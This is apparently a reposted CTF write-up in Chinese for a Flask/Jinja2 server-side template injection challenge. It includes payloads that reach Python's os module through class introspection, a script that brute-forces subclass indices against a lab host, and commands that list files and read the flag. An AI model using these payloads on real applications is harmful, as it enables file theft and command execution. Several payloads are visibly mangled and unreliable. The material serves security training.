攻防世界-Web_python_template_injection题

flask基础

SSTI:服务器端模板注入(Server-Side Template Injection)

不正确的使用flask中的 render_template_string方法会引发SSTI。

SSTI文件读取/命令执行

在Jinja2模板引擎中, {{}}是变量包裹标识符。 {{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

思路:找到父类 <type 'object'></type>–>寻找子类–>找关于命令执行或者文件操作的模块。

_ class__ 返回类型所属的对象
_ _mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
_ _base__ 返回该对象所继承的基类
_ _base__ 和 _ _mro__ 都是用来寻找基类的

_ _subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
_ _init__ 类的初始化方法
_ _globals__ 对包含函数全局变量的字典的引用

1、查找字符串的类对象

[]._ _class__

攻防世界-Web_python_template_injection题

2、寻找基类

[]. _class__. _mro__

攻防世界-Web_python_template_injection题

3、寻找可用引用

[]. _class__. mro__. _subclasses__()

攻防世界-Web_python_template_injection题

4、利用可用引用

[]. _class__. mro__. _subclasses__()40.read()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SHIyw5jH-1637203939287)(https://i.loli.net/2021/11/18/lwLd9IxK2Xo18Ym.png)]

搜索os模块所在的类,并利用os模块
搜索os模块的脚本:

import requests
for i in range(0, 100):
    url = "http://111.200.241.244:50349/%7B%7B''.__class__.__mro__[2].__subclasses__()["+str(i)+"].__init__.__globals__%7D%7D"
    html = requests.get(url)
    html.encoding = 'utf-8'
    if 'os' in html.text:
        print('os:' + str(i))
        break
    else:
        print(str(i) + '---')

{{[]. _class__. mro__[1]. subclasses__()[71]. init__. _globals__[“os”].listdir(“.”)}}/?

攻防世界-Web_python_template_injection题

查看fl4g文件

{{[]. _class__. mro__[1]. _subclasses__()40.read()

攻防世界-Web_python_template_injection题

成功获得flag! ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

Original: https://blog.csdn.net/weixin_46784800/article/details/121395805
Author: 学编程的小w
Title: 攻防世界-Web_python_template_injection题

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/746472/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球